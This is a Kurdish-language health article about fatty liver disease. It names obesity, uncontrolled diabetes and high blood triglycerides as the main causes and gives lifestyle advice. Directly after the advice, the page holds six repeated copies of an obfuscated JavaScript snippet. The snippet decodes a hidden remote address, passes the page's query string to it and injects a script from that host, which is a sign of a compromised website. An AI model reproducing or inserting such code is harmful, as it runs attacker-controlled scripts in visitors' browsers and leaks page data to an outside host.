ئەگەرێن سەرەکی یێن دوهنێ سەر مێلاکێ

بەربەلافترین نەخۆشیێن مێلاکێ ل سەردەمی نوکە دا پێکهاتینە ژ نەخۆشیا دوهنی ل سەر مێلاکێ، کو ب سەرەکیتریین ئەگەرێ تووشبوونێ ب (نەخۆشیێن دومدرێژ یێن مێلاکێ، ب شەمابوونا مێلاکێ (تشمع) و پەنجەشێرا مێلاکێ) دهێنە دانان.
سێ ئەگەرێن سەرەکی یێن دوهنێ سەر مێلاکێ:
ئێک: قەلەویی، ل دووڤ ڤەکۆلینان (ل ١٠ کەسان نێزیکی ٩ ژوان دوهنێ مێلاکێ هەیە).
دو: شەکر نە کۆنتڕۆل کری. ل دووڤ ڤەکۆلینان (ل ١٠ کەسان نێزیکی ٣ بۆ ٥ ژوان دوهنێ مێلاکێ هەیە).
سێ: بلندبوونا دوهنێن سێیانیی یێن خوینێ و نەکۆنتڕۆلکرنا وان. ل دووڤ ڤەکولینان (ب جۆرەکی ل ١٠ کەسان، ٨ هەتا ٩ ژوان دوهنێن مێلاکێ هەیە).
بۆ هێلانا جگەرێ ب ساخلەمی و چارەسەریا دوهنێن مێلاکێ:
– گۆهورینا شێوازێ ژیانێ ل چاوانی و چەنداتیا خوارنێ! وەرزش وەرزش وەرزش و کێمکرنا کێشا لەشی. باشتریین و کاریگەرتریین ڕێکێن چارەسەریێ نە.
– دوورکەفتن ل ڤەخوارنێن کحولی ب هەموو جۆرەکی.
– کۆنترۆلکردنا شەکرێ و چەوریێن خوینێ.
– ب کارنەئینانا دەرمانان (هەرجۆرەک بیت ب تایبەت گیا دەرمان) بێ ڕاوێژیا نۆشدارێ تایبەتمەند.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە